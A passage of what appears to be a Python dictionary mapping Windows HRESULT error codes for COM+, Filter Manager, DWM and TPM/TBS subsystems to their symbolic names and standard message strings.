0x8011042B: ("COMADMIN_E_NOTDELETEABLE", "The delete function has been disabled for this object."),
0x8011042C: ("COMADMIN_E_SESSION", "The server catalog version is not supported."),
0x8011042D: ("COMADMIN_E_COMP_MOVE_LOCKED", "The component move was disallowed because the source or destination application is either a system application or currently locked against changes."),
0x8011042E: ("COMADMIN_E_COMP_MOVE_BAD_DEST", "The component move failed because the destination application no longer exists."),
0x80110430: ("COMADMIN_E_REGISTERTLB", "The system was unable to register the TypeLib."),
0x80110433: ("COMADMIN_E_SYSTEMAPP", "This operation cannot be performed on the system application."),
0x80110434: ("COMADMIN_E_COMPFILE_NOREGISTRAR", "The component registrar referenced in this file is not available."),
0x80110435: ("COMADMIN_E_COREQCOMPINSTALLED", "A component in the same DLL is already installed."),
0x80110436: ("COMADMIN_E_SERVICENOTINSTALLED", "The service is not installed."),
0x80110437: ("COMADMIN_E_PROPERTYSAVEFAILED", "One or more property settings are either invalid or in conflict with each other."),
0x80110438: ("COMADMIN_E_OBJECTEXISTS", "The object you are attempting to add or rename already exists."),
0x80110439: ("COMADMIN_E_COMPONENTEXISTS", "The component already exists."),
0x8011043B: ("COMADMIN_E_REGFILE_CORRUPT", "The registration file is corrupt."),
0x8011043C: ("COMADMIN_E_PROPERTY_OVERFLOW", "The property value is too large."),
0x8011043E: ("COMADMIN_E_NOTINREGISTRY", "Object was not found in registry."),
0x8011043F: ("COMADMIN_E_OBJECTNOTPOOLABLE", "This object cannot be pooled."),
0x80110446: ("COMADMIN_E_APPLID_MATCHES_CLSID", "A CLSID with the same GUID as the new application ID is already installed on this machine."),
0x80110447: ("COMADMIN_E_ROLE_DOES_NOT_EXIST", "A role assigned to a component, interface, or method did not exist in the application."),
0x80110448: ("COMADMIN_E_START_APP_NEEDS_COMPONENTS", "You must have components in an application to start the application."),
0x80110449: ("COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM", "This operation is not enabled on this platform."),
0x8011044A: ("COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY", "Application proxy is not exportable."),
0x8011044B: ("COMADMIN_E_CAN_NOT_START_APP", "Failed to start application because it is either a library application or an application proxy."),
0x8011044C: ("COMADMIN_E_CAN_NOT_EXPORT_SYS_APP", "System application is not exportable."),
0x8011044D: ("COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT", "Cannot subscribe to this component (the component may have been imported)."),
0x8011044E: ("COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER", "An event class cannot also be a subscriber component."),
0x8011044F: ("COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE", "Library applications and application proxies are incompatible."),
0x80110450: ("COMADMIN_E_BASE_PARTITION_ONLY", "This function is valid for the base partition only."),
0x80110451: ("COMADMIN_E_START_APP_DISABLED", "You cannot start an application that has been disabled."),
0x80110457: ("COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME", "The specified partition name is already in use on this computer."),
0x80110458: ("COMADMIN_E_CAT_INVALID_PARTITION_NAME", "The specified partition name is invalid. Check that the name contains at least one visible character."),
0x80110459: ("COMADMIN_E_CAT_PARTITION_IN_USE", "The partition cannot be deleted because it is the default partition for one or more users."),
0x8011045A: ("COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES", "The partition cannot be exported because one or more components in the partition have the same file name."),
0x8011045B: ("COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED", "Applications that contain one or more imported components cannot be installed into a nonbase partition."),
0x8011045C: ("COMADMIN_E_AMBIGUOUS_APPLICATION_NAME", "The application name is not unique and cannot be resolved to an application ID."),
0x8011045D: ("COMADMIN_E_AMBIGUOUS_PARTITION_NAME", "The partition name is not unique and cannot be resolved to a partition ID."),
0x80110472: ("COMADMIN_E_REGDB_NOTINITIALIZED", "The COM+ registry database has not been initialized."),
0x80110473: ("COMADMIN_E_REGDB_NOTOPEN", "The COM+ registry database is not open."),
0x80110474: ("COMADMIN_E_REGDB_SYSTEMERR", "The COM+ registry database detected a system error."),
0x80110475: ("COMADMIN_E_REGDB_ALREADYRUNNING", "The COM+ registry database is already running."),
0x80110480: ("COMADMIN_E_MIG_VERSIONNOTSUPPORTED", "This version of the COM+ registry database cannot be migrated."),
0x80110481: ("COMADMIN_E_MIG_SCHEMANOTFOUND", "The schema version to be migrated could not be found in the COM+ registry database."),
0x80110482: ("COMADMIN_E_CAT_BITNESSMISMATCH", "There was a type mismatch between binaries."),
0x80110483: ("COMADMIN_E_CAT_UNACCEPTABLEBITNESS", "A binary of unknown or invalid type was provided."),
0x80110484: ("COMADMIN_E_CAT_WRONGAPPBITNESS", "There was a type mismatch between a binary and an application."),
0x80110485: ("COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED", "The application cannot be paused or resumed."),
0x80110486: ("COMADMIN_E_CAT_SERVERFAULT", "The COM+ catalog server threw an exception during execution."),
0x80110600: ("COMQC_E_APPLICATION_NOT_QUEUED", "Only COM+ applications marked \"queued\" can be invoked using the \"queue\" moniker."),
0x80110601: ("COMQC_E_NO_QUEUEABLE_INTERFACES", "At least one interface must be marked \"queued\" to create a queued component instance with the \"queue\" moniker."),
0x80110602: ("COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE", "Message Queuing is required for the requested operation and is not installed."),
0x80110603: ("COMQC_E_NO_IPERSISTSTREAM", "Unable to marshal an interface that does not support IPersistStream."),
0x80110604: ("COMQC_E_BAD_MESSAGE", "The message is improperly formatted or was damaged in transit."),
0x80110605: ("COMQC_E_UNAUTHENTICATED", "An unauthenticated message was received by an application that accepts only authenticated messages."),
0x80110606: ("COMQC_E_UNTRUSTED_ENQUEUER", "The message was requeued or moved by a user not in the QC Trusted User \"role\"."),
0x80110701: ("MSDTC_E_DUPLICATE_RESOURCE", "Cannot create a duplicate resource of type Distributed Transaction Coordinator."),
0x80110808: ("COMADMIN_E_OBJECT_PARENT_MISSING", "One of the objects being inserted or updated does not belong to a valid parent collection."),
0x80110809: ("COMADMIN_E_OBJECT_DOES_NOT_EXIST", "One of the specified objects cannot be found."),
0x8011080A: ("COMADMIN_E_APP_NOT_RUNNING", "The specified application is not currently running."),
0x8011080B: ("COMADMIN_E_INVALID_PARTITION", "The partitions specified are not valid."),
0x8011080D: ("COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE", "COM+ applications that run as Windows NT service may not be pooled or recycled."),
0x8011080E: ("COMADMIN_E_USER_IN_SET", "One or more users are already assigned to a local partition set."),
0x8011080F: ("COMADMIN_E_CANTRECYCLELIBRARYAPPS", "Library applications may not be recycled."),
0x80110811: ("COMADMIN_E_CANTRECYCLESERVICEAPPS", "Applications running as Windows NT services may not be recycled."),
0x80110812: ("COMADMIN_E_PROCESSALREADYRECYCLED", "The process has already been recycled."),
0x80110813: ("COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED", "A paused process may not be recycled."),
0x80110814: ("COMADMIN_E_CANTMAKEINPROCSERVICE", "Library applications may not be Windows NT services."),
0x80110815: ("COMADMIN_E_PROGIDINUSEBYCLSID", "The ProgID provided to the copy operation is invalid. The ProgID is in use by another registered CLSID."),
0x80110816: ("COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET", "The partition specified as the default is not a member of the partition set."),
0x80110817: ("COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED", "A recycled process may not be paused."),
0x80110818: ("COMADMIN_E_PARTITION_ACCESSDENIED", "Access to the specified partition is denied."),
0x80110819: ("COMADMIN_E_PARTITION_MSI_ONLY", "Only application files (*.msi files) can be installed into partitions."),
0x8011081A: ("COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT", "Applications containing one or more legacy components may not be exported to 1.0 format."),
0x8011081B: ("COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS", "Legacy components may not exist in nonbase partitions."),
0x8011081C: ("COMADMIN_E_COMP_MOVE_SOURCE", "A component cannot be moved (or copied) from the System Application, an application proxy, or a nonchangeable application."),
0x8011081D: ("COMADMIN_E_COMP_MOVE_DEST", "A component cannot be moved (or copied) to the System Application, an application proxy or a nonchangeable application."),
0x8011081E: ("COMADMIN_E_COMP_MOVE_PRIVATE", "A private component cannot be moved (or copied) to a library application or to the base partition."),
0x8011081F: ("COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET", "The Base Application Partition exists in all partition sets and cannot be removed."),
0x80110820: ("COMADMIN_E_CANNOT_ALIAS_EVENTCLASS", "Alas, Event Class components cannot be aliased."),
0x80110821: ("COMADMIN_E_PRIVATE_ACCESSDENIED", "Access is denied because the component is private."),
0x80110822: ("COMADMIN_E_SAFERINVALID", "The specified SAFER level is invalid."),
0x80110823: ("COMADMIN_E_REGISTRY_ACCESSDENIED", "The specified user cannot write to the system registry."),
0x80110824: ("COMADMIN_E_PARTITIONS_DISABLED", "COM+ partitions are currently disabled."),
0x801F0001: ("ERROR_FLT_NO_HANDLER_DEFINED", "A handler was not defined by the filter for this operation."),
0x801F0002: ("ERROR_FLT_CONTEXT_ALREADY_DEFINED", "A context is already defined for this object."),
0x801F0003: ("ERROR_FLT_INVALID_ASYNCHRONOUS_REQUEST", "Asynchronous requests are not valid for this operation."),
0x801F0004: ("ERROR_FLT_DISALLOW_FAST_IO", "Disallow the Fast IO path for this operation."),
0x801F0005: ("ERROR_FLT_INVALID_NAME_REQUEST", "An invalid name request was made. The name requested cannot be retrieved at this time."),
0x801F0006: ("ERROR_FLT_NOT_SAFE_TO_POST_OPERATION", "Posting this operation to a worker thread for further processing is not safe at this time because it could lead to a system deadlock."),
0x801F0007: ("ERROR_FLT_NOT_INITIALIZED", "The Filter Manager was not initialized when a filter tried to register. Be sure that the Filter Manager is being loaded as a driver."),
0x801F0008: ("ERROR_FLT_FILTER_NOT_READY", "The filter is not ready for attachment to volumes because it has not finished initializing (FltStartFiltering has not been called)."),
0x801F0009: ("ERROR_FLT_POST_OPERATION_CLEANUP", "The filter must clean up any operation-specific context at this time because it is being removed from the system before the operation is completed by the lower drivers."),
0x801F000A: ("ERROR_FLT_INTERNAL_ERROR", "The Filter Manager had an internal error from which it cannot recover; therefore, the operation has been failed. This is usually the result of a filter returning an invalid value from a preoperation callback."),
0x801F000B: ("ERROR_FLT_DELETING_OBJECT", "The object specified for this action is in the process of being deleted; therefore, the action requested cannot be completed at this time."),
0x801F000C: ("ERROR_FLT_MUST_BE_NONPAGED_POOL", "Nonpaged pool must be used for this type of context."),
0x801F000D: ("ERROR_FLT_DUPLICATE_ENTRY", "A duplicate handler definition has been provided for an operation."),
0x801F000E: ("ERROR_FLT_CBDQ_DISABLED", "The callback data queue has been disabled."),
0x801F000F: ("ERROR_FLT_DO_NOT_ATTACH", "Do not attach the filter to the volume at this time."),
0x801F0010: ("ERROR_FLT_DO_NOT_DETACH", "Do not detach the filter from the volume at this time."),
0x801F0011: ("ERROR_FLT_INSTANCE_ALTITUDE_COLLISION", "An instance already exists at this altitude on the volume specified."),
0x801F0012: ("ERROR_FLT_INSTANCE_NAME_COLLISION", "An instance already exists with this name on the volume specified."),
0x801F0013: ("ERROR_FLT_FILTER_NOT_FOUND", "The system could not find the filter specified."),
0x801F0014: ("ERROR_FLT_VOLUME_NOT_FOUND", "The system could not find the volume specified."),
0x801F0015: ("ERROR_FLT_INSTANCE_NOT_FOUND", "The system could not find the instance specified."),
0x801F0016: ("ERROR_FLT_CONTEXT_ALLOCATION_NOT_FOUND", "No registered context allocation definition was found for the given request."),
0x801F0017: ("ERROR_FLT_INVALID_CONTEXT_REGISTRATION", "An invalid parameter was specified during context registration."),
0x801F0018: ("ERROR_FLT_NAME_CACHE_MISS", "The name requested was not found in the Filter Manager name cache and could not be retrieved from the file system."),
0x801F0019: ("ERROR_FLT_NO_DEVICE_OBJECT", "The requested device object does not exist for the given volume."),
0x801F001A: ("ERROR_FLT_VOLUME_ALREADY_MOUNTED", "The specified volume is already mounted."),
0x801F001B: ("ERROR_FLT_ALREADY_ENLISTED", "The specified Transaction Context is already enlisted in a transaction."),
0x801F001C: ("ERROR_FLT_CONTEXT_ALREADY_LINKED", "The specified context is already attached to another object."),
0x801F0020: ("ERROR_FLT_NO_WAITER_FOR_REPLY", "No waiter is present for the filter's reply to this message."),
0x80260001: ("ERROR_HUNG_DISPLAY_DRIVER_THREAD", "{Display Driver Stopped Responding} The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the machine a dialog will be displayed giving you a chance to report this failure to Microsoft."),
0x80261001: ("ERROR_MONITOR_NO_DESCRIPTOR", "Monitor descriptor could not be obtained."),
0x80261002: ("ERROR_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT", "Format of the obtained monitor descriptor is not supported by this release."),
0x80263001: ("DWM_E_COMPOSITIONDISABLED", "{Desktop Composition is Disabled} The operation could not be completed because desktop composition is disabled."),
0x80263002: ("DWM_E_REMOTING_NOT_SUPPORTED", "{Some Desktop Composition APIs Are Not Supported While Remoting} Some desktop composition APIs are not supported while remoting. The operation is not supported while running in a remote session."),
0x80263003: ("DWM_E_NO_REDIRECTION_SURFACE_AVAILABLE", "{No DWM Redirection Surface is Available} The Desktop Window Manager (DWM) was unable to provide a redirection surface to complete the DirectX present."),
0x80263004: ("DWM_E_NOT_QUEUING_PRESENTS", "{DWM Is Not Queuing Presents for the Specified Window} The window specified is not currently using queued presents."),
0x80280000: ("TPM_E_ERROR_MASK", "This is an error mask to convert Trusted Platform Module (TPM) hardware errors to Win32 errors."),
0x80280001: ("TPM_E_AUTHFAIL", "Authentication failed."),
0x80280002: ("TPM_E_BADINDEX", "The index to a Platform Configuration Register (PCR), DIR, or other register is incorrect."),
0x80280003: ("TPM_E_BAD_PARAMETER", "One or more parameters are bad."),
0x80280004: ("TPM_E_AUDITFAILURE", "An operation completed successfully but the auditing of that operation failed."),
0x80280005: ("TPM_E_CLEAR_DISABLED", "The clear disable flag is set and all clear operations now require physical access."),
0x80280006: ("TPM_E_DEACTIVATED", "The TPM is deactivated."),
0x80280007: ("TPM_E_DISABLED", "The TPM is disabled."),
0x80280008: ("TPM_E_DISABLED_CMD", "The target command has been disabled."),
0x80280009: ("TPM_E_FAIL", "The operation failed."),
0x8028000A: ("TPM_E_BAD_ORDINAL", "The ordinal was unknown or inconsistent."),
0x8028000B: ("TPM_E_INSTALL_DISABLED", "The ability to install an owner is disabled."),
0x8028000C: ("TPM_E_INVALID_KEYHANDLE", "The key handle cannot be interpreted."),
0x8028000D: ("TPM_E_KEYNOTFOUND", "The key handle points to an invalid key."),
0x8028000E: ("TPM_E_INAPPROPRIATE_ENC", "Unacceptable encryption scheme."),
0x8028000F: ("TPM_E_MIGRATEFAIL", "Migration authorization failed."),
0x80280010: ("TPM_E_INVALID_PCR_INFO", "PCR information could not be interpreted."),
0x80280011: ("TPM_E_NOSPACE", "No room to load key."),
0x80280012: ("TPM_E_NOSRK", "There is no storage root key (SRK) set."),
0x80280013: ("TPM_E_NOTSEALED_BLOB", "An encrypted blob is invalid or was not created by this TPM."),
0x80280014: ("TPM_E_OWNER_SET", "There is already an owner."),
0x80280015: ("TPM_E_RESOURCES", "The TPM has insufficient internal resources to perform the requested action."),
0x80280016: ("TPM_E_SHORTRANDOM", "A random string was too short."),
0x80280017: ("TPM_E_SIZE", "The TPM does not have the space to perform the operation."),
0x80280018: ("TPM_E_WRONGPCRVAL", "The named PCR value does not match the current PCR value."),
0x80280019: ("TPM_E_BAD_PARAM_SIZE", "The paramSize argument to the command has the incorrect value."),
0x8028001A: ("TPM_E_SHA_THREAD", "There is no existing SHA-1 thread."),
0x8028001B: ("TPM_E_SHA_ERROR", "The calculation is unable to proceed because the existing SHA-1 thread has already encountered an error."),
0x8028001C: ("TPM_E_FAILEDSELFTEST", "Self-test has failed and the TPM has shut down."),
0x8028001D: ("TPM_E_AUTH2FAIL", "The authorization for the second key in a two-key function failed authorization."),
0x8028001E: ("TPM_E_BADTAG", "The tag value sent to for a command is invalid."),
0x8028001F: ("TPM_E_IOERROR", "An I/O error occurred transmitting information to the TPM."),
0x80280020: ("TPM_E_ENCRYPT_ERROR", "The encryption process had a problem."),
0x80280021: ("TPM_E_DECRYPT_ERROR", "The decryption process did not complete."),
0x80280022: ("TPM_E_INVALID_AUTHHANDLE", "An invalid handle was used."),
0x80280023: ("TPM_E_NO_ENDORSEMENT", "The TPM does not have an endorsement key (EK) installed."),
0x80280024: ("TPM_E_INVALID_KEYUSAGE", "The usage of a key is not allowed."),
0x80280025: ("TPM_E_WRONG_ENTITYTYPE", "The submitted entity type is not allowed."),
0x80280026: ("TPM_E_INVALID_POSTINIT", "The command was received in the wrong sequence relative to TPM_Init and a subsequent TPM_Startup."),
0x80280027: ("TPM_E_INAPPROPRIATE_SIG", "Signed data cannot include additional DER information."),
0x80280028: ("TPM_E_BAD_KEY_PROPERTY", "The key properties in TPM_KEY_PARMs are not supported by this TPM."),
0x80280029: ("TPM_E_BAD_MIGRATION", "The migration properties of this key are incorrect."),
0x8028002A: ("TPM_E_BAD_SCHEME", "The signature or encryption scheme for this key is incorrect or not permitted in this situation."),
0x8028002B: ("TPM_E_BAD_DATASIZE", "The size of the data (or blob) parameter is bad or inconsistent with the referenced key."),
0x8028002C: ("TPM_E_BAD_MODE", "A mode parameter is bad, such as capArea or subCapArea for TPM_GetCapability, physicalPresence parameter for TPM_PhysicalPresence, or migrationType for TPM_CreateMigrationBlob."),
0x8028002D: ("TPM_E_BAD_PRESENCE", "Either the physicalPresence or physicalPresenceLock bits have the wrong value."),
0x8028002E: ("TPM_E_BAD_VERSION", "The TPM cannot perform this version of the capability."),
0x8028002F: ("TPM_E_NO_WRAP_TRANSPORT", "The TPM does not allow for wrapped transport sessions."),
0x80280030: ("TPM_E_AUDITFAIL_UNSUCCESSFUL", "TPM audit construction failed and the underlying command was returning a failure code also."),
0x80280031: ("TPM_E_AUDITFAIL_SUCCESSFUL", "TPM audit construction failed and the underlying command was returning success."),
0x80280032: ("TPM_E_NOTRESETABLE", "Attempt to reset a PCR that does not have the resettable attribute."),
0x80280033: ("TPM_E_NOTLOCAL", "Attempt to reset a PCR register that requires locality and the locality modifier not part of command transport."),
0x80280034: ("TPM_E_BAD_TYPE", "Make identity blob not properly typed."),
0x80280035: ("TPM_E_INVALID_RESOURCE", "When saving context identified resource type does not match actual resource."),
0x80280036: ("TPM_E_NOTFIPS", "The TPM is attempting to execute a command only available when in Federal Information Processing Standards (FIPS) mode."),
0x80280037: ("TPM_E_INVALID_FAMILY", "The command is attempting to use an invalid family ID."),
0x80280038: ("TPM_E_NO_NV_PERMISSION", "The permission to manipulate the NV storage is not available."),
0x80280039: ("TPM_E_REQUIRES_SIGN", "The operation requires a signed command."),
0x8028003A: ("TPM_E_KEY_NOTSUPPORTED", "Wrong operation to load an NV key."),
0x8028003B: ("TPM_E_AUTH_CONFLICT", "NV_LoadKey blob requires both owner and blob authorization."),
0x8028003C: ("TPM_E_AREA_LOCKED", "The NV area is locked and not writable."),
0x8028003D: ("TPM_E_BAD_LOCALITY", "The locality is incorrect for the attempted operation."),
0x8028003E: ("TPM_E_READ_ONLY", "The NV area is read-only and cannot be written to."),
0x8028003F: ("TPM_E_PER_NOWRITE", "There is no protection on the write to the NV area."),
0x80280040: ("TPM_E_FAMILYCOUNT", "The family count value does not match."),
0x80280041: ("TPM_E_WRITE_LOCKED", "The NV area has already been written to."),
0x80280042: ("TPM_E_BAD_ATTRIBUTES", "The NV area attributes conflict."),
0x80280043: ("TPM_E_INVALID_STRUCTURE", "The structure tag and version are invalid or inconsistent."),
0x80280044: ("TPM_E_KEY_OWNER_CONTROL", "The key is under control of the TPM owner and can only be evicted by the TPM owner."),
0x80280045: ("TPM_E_BAD_COUNTER", "The counter handle is incorrect."),
0x80280046: ("TPM_E_NOT_FULLWRITE", "The write is not a complete write of the area."),
0x80280047: ("TPM_E_CONTEXT_GAP", "The gap between saved context counts is too large."),
0x80280048: ("TPM_E_MAXNVWRITES", "The maximum number of NV writes without an owner has been exceeded."),
0x80280049: ("TPM_E_NOOPERATOR", "No operator AuthData value is set."),
0x8028004A: ("TPM_E_RESOURCEMISSING", "The resource pointed to by context is not loaded."),
0x8028004B: ("TPM_E_DELEGATE_LOCK", "The delegate administration is locked."),
0x8028004C: ("TPM_E_DELEGATE_FAMILY", "Attempt to manage a family other then the delegated family."),
0x8028004D: ("TPM_E_DELEGATE_ADMIN", "Delegation table management not enabled."),
0x8028004E: ("TPM_E_TRANSPORT_NOTEXCLUSIVE", "There was a command executed outside an exclusive transport session."),
0x8028004F: ("TPM_E_OWNER_CONTROL", "Attempt to context save an owner evict controlled key."),
0x80280050: ("TPM_E_DAA_RESOURCES", "The DAA command has no resources available to execute the command."),
0x80280051: ("TPM_E_DAA_INPUT_DATA0", "The consistency check on DAA parameter inputData0 has failed."),
0x80280052: ("TPM_E_DAA_INPUT_DATA1", "The consistency check on DAA parameter inputData1 has failed."),
0x80280053: ("TPM_E_DAA_ISSUER_SETTINGS", "The consistency check on DAA_issuerSettings has failed."),
0x80280054: ("TPM_E_DAA_TPM_SETTINGS", "The consistency check on DAA_tpmSpecific has failed."),
0x80280055: ("TPM_E_DAA_STAGE", "The atomic process indicated by the submitted DAA command is not the expected process."),
0x80280056: ("TPM_E_DAA_ISSUER_VALIDITY", "The issuer's validity check has detected an inconsistency."),
0x80280057: ("TPM_E_DAA_WRONG_W", "The consistency check on w has failed."),
0x80280058: ("TPM_E_BAD_HANDLE", "The handle is incorrect."),
0x80280059: ("TPM_E_BAD_DELEGATE", "Delegation is not correct."),
0x8028005A: ("TPM_E_BADCONTEXT", "The context blob is invalid."),
0x8028005B: ("TPM_E_TOOMANYCONTEXTS", "Too many contexts held by the TPM."),
0x8028005C: ("TPM_E_MA_TICKET_SIGNATURE", "Migration authority signature validation failure."),
0x8028005D: ("TPM_E_MA_DESTINATION", "Migration destination not authenticated."),
0x8028005E: ("TPM_E_MA_SOURCE", "Migration source incorrect."),
0x8028005F: ("TPM_E_MA_AUTHORITY", "Incorrect migration authority."),
0x80280061: ("TPM_E_PERMANENTEK", "Attempt to revoke the EK and the EK is not revocable."),
0x80280062: ("TPM_E_BAD_SIGNATURE", "Bad signature of CMK ticket."),
0x80280063: ("TPM_E_NOCONTEXTSPACE", "There is no room in the context list for additional contexts."),
0x80280400: ("TPM_E_COMMAND_BLOCKED", "The command was blocked."),
0x80280401: ("TPM_E_INVALID_HANDLE", "The specified handle was not found."),
0x80280402: ("TPM_E_DUPLICATE_VHANDLE", "The TPM returned a duplicate handle and the command needs to be resubmitted."),
0x80280403: ("TPM_E_EMBEDDED_COMMAND_BLOCKED", "The command within the transport was blocked."),
0x80280404: ("TPM_E_EMBEDDED_COMMAND_UNSUPPORTED", "The command within the transport is not supported."),
0x80280800: ("TPM_E_RETRY", "The TPM is too busy to respond to the command immediately, but the command could be resubmitted at a later time."),
0x80280801: ("TPM_E_NEEDS_SELFTEST", "SelfTestFull has not been run."),
0x80280802: ("TPM_E_DOING_SELFTEST", "The TPM is currently executing a full self-test."),
0x80280803: ("TPM_E_DEFEND_LOCK_RUNNING", "The TPM is defending against dictionary attacks and is in a time-out period."),
0x80284001: ("TBS_E_INTERNAL_ERROR", "An internal software error has been detected."),
0x80284002: ("TBS_E_BAD_PARAMETER", "One or more input parameters are bad."),
0x80284003: ("TBS_E_INVALID_OUTPUT_POINTER", "A specified output pointer is bad."),
0x80284004: ("TBS_E_INVALID_CONTEXT", "The specified context handle does not refer to a valid context."),
0x80284005: ("TBS_E_INSUFFICIENT_BUFFER", "A specified output buffer is too small."),
0x80284006: ("TBS_E_IOERROR", "An error occurred while communicating with the TPM."),
0x80284007: ("TBS_E_INVALID_CONTEXT_PARAM", "One or more context parameters are invalid."),
0x80284008: ("TBS_E_SERVICE_NOT_RUNNING", "The TPM Base Services (TBS) is not running and could not be started."),
0x80284009: ("TBS_E_TOO_MANY_TBS_CONTEXTS", "A new context could not be created because there are too many open contexts."),
0x8028400A: ("TBS_E_TOO_MANY_RESOURCES", "A new virtual resource could not be created because there are too many open virtual resources."),
0x8028400B: ("TBS_E_SERVICE_START_PENDING", "The TBS service has been started but is not yet running."),
0x8028400C: ("TBS_E_PPI_NOT_SUPPORTED", "The physical presence interface is not supported."),
0x8028400D: ("TBS_E_COMMAND_CANCELED", "The command was canceled."),
0x8028400E: ("TBS_E_BUFFER_TOO_LARGE", "The input or output buffer is too large."),
0x80290100: ("TPMAPI_E_INVALID_STATE", "The command buffer is not in the correct state."),
0x80290101: ("TPMAPI_E_NOT_ENOUGH_DATA", "The command buffer does not contain enough data to satisfy the request."),
0x80290102: ("TPMAPI_E_TOO_MUCH_DATA", "The command buffer cannot contain any more data."),
0x80290103: ("TPMAPI_E_INVALID_OUTPUT_POINTER", "One or more output parameters was null or invalid."),
0x80290104: ("TPMAPI_E_INVALID_PARAMETER", "One or more input parameters are invalid."),
0x80290105: ("TPMAPI_E_OUT_OF_MEMORY", "Not enough memory was available to satisfy the request."),
0x80290106: ("TPMAPI_E_BUFFER_TOO_SMALL", "The specified buffer was too small."),
0x80290107: ("TPMAPI_E_INTERNAL_ERROR", "An internal error was detected."),
0x80290108: ("TPMAPI_E_ACCESS_DENIED", "The caller does not have the appropriate rights to perform the requested operation."),
0x80290109: ("TPMAPI_E_AUTHORIZATION_FAILED", "The specified authorization information was invalid."),
0x8029010A: ("TPMAPI_E_INVALID_CONTEXT_HANDLE", "The specified context handle was not valid."),
0x8029010B: ("TPMAPI_E_TBS_COMMUNICATION_ERROR", "An error occurred while communicating with the TBS."),
0x8029010C: ("TPMAPI_E_TPM_COMMAND_ERROR", "The TPM returned an unexpected result."),
0x8029010D: ("TPMAPI_E_MESSAGE_TOO_LARGE", "The message was too large for the encoding scheme."),
0x8029010E: ("TPMAPI_E_INVALID_ENCODING", "The encoding in the binary large object (BLOB) was not recognized."),
0x8029010F: ("TPMAPI_E_INVALID_KEY_SIZE", "The key size is not valid."),
0x80290110: ("TPMAPI_E_ENCRYPTION_FAILED", "The encryption operation failed."),
0x80290111: ("TPMAPI_E_INVALID_KEY_PARAMS", "The key parameters structure was not valid."),
0x80290112: ("TPMAPI_E_INVALID_MIGRATION_AUTHORIZATION_BLOB", "The requested supplied data does not appear to be a valid migration authorization BLOB."),
0x80290113: ("TPMAPI_E_INVALID_PCR_INDEX", "The specified PCR index was invalid."),
0x80290114: ("TPMAPI_E_INVALID_DELEGATE_BLOB", "The data given does not appear to be a valid delegate BLOB."),
0x80290115: ("TPMAPI_E_INVALID_CONTEXT_PARAMS", "One or more of the specified context parameters was not valid."),
0x80290116: ("TPMAPI_E_INVALID_KEY_BLOB", "The data given does not appear to be a valid key BLOB."),
0x80290117: ("TPMAPI_E_INVALID_PCR_DATA", "The specified PCR data was invalid."),
0x80290118: ("TPMAPI_E_INVALID_OWNER_AUTH", "The format of the owner authorization data was invalid."),
0x80290200: ("TBSIMP_E_BUFFER_TOO_SMALL", "The specified buffer was too small."),
0x80290201: ("TBSIMP_E_CLEANUP_FAILED", "The context could not be cleaned up."),
0x80290202: ("TBSIMP_E_INVALID_CONTEXT_HANDLE", "The specified context handle is invalid."),
0x80290203: ("TBSIMP_E_INVALID_CONTEXT_PARAM", "An invalid context parameter was specified."),
0x80290204: ("TBSIMP_E_TPM_ERROR", "An error occurred while communicating with the TPM."),
0x80290205: ("TBSIMP_E_HASH_BAD_KEY", "No entry with the specified key was found."),
0x80290206: ("TBSIMP_E_DUPLICATE_VHANDLE", "The specified virtual handle matches a virtual handle already in use."),
0x80290207: ("TBSIMP_E_INVALID_OUTPUT_POINTER", "The pointer to the returned handle location was null or invalid."),
0x80290208: ("TBSIMP_E_INVALID_PARAMETER", "One or more parameters are invalid."),
0x80290209: ("TBSIMP_E_RPC_INIT_FAILED", "The RPC subsystem could not be initialized."),
0x8029020A: ("TBSIMP_E_SCHEDULER_NOT_RUNNING", "The TBS scheduler is not running."),
0x8029020B: ("TBSIMP_E_COMMAND_CANCELED", "The command was canceled."),
0x8029020C: ("TBSIMP_E_OUT_OF_MEMORY", "There was not enough memory to fulfill the request."),
0x8029020D: ("TBSIMP_E_LIST_NO_MORE_ITEMS", "The specified list is empty, or the iteration has reached the end of the list."),
0x8029020E: ("TBSIMP_E_LIST_NOT_FOUND", "The specified item was not found in the list."),
0x8029020F: ("TBSIMP_E_NOT_ENOUGH_SPACE", "The TPM does not have enough space to load the requested resource."),
0x80290210: ("TBSIMP_E_NOT_ENOUGH_TPM_CONTEXTS", "There are too many TPM contexts in use."),
0x80290211: ("TBSIMP_E_COMMAND_FAILED", "The TPM command failed."),
0x80290212: ("TBSIMP_E_UNKNOWN_ORDINAL", "The TBS does not recognize the specified ordinal."),
0x80290213: ("TBSIMP_E_RESOURCE_EXPIRED", "The requested resource is no longer available."),
0x80290214: ("TBSIMP_E_INVALID_RESOURCE", "The resource type did not match."),
0x80290215: ("TBSIMP_E_NOTHING_TO_UNLOAD", "No resources can be unloaded."),
0x80290216: ("TBSIMP_E_HASH_TABLE_FULL", "No new entries can be added to the hash table."),
0x80290217: ("TBSIMP_E_TOO_MANY_TBS_CONTEXTS", "A new TBS context could not be created because there are too many open contexts."),
0x80290218: ("TBSIMP_E_TOO_MANY_RESOURCES", "A new virtual resource could not be created because there are too many open virtual resources."),
0x80290219: ("TBSIMP_E_PPI_NOT_SUPPORTED", "The physical presence interface is not supported."),
0x8029021A: ("TBSIMP_E_TPM_INCOMPATIBLE", "TBS is not compatible with the version of TPM found on the system."),
0x80290300: ("TPM_E_PPI_ACPI_FAILURE", "A general error was detected when attempting to acquire the BIOS response to a physical presence command."),
0x80290301: ("TPM_E_PPI_USER_ABORT", "The user failed to confirm the TPM operation request."),
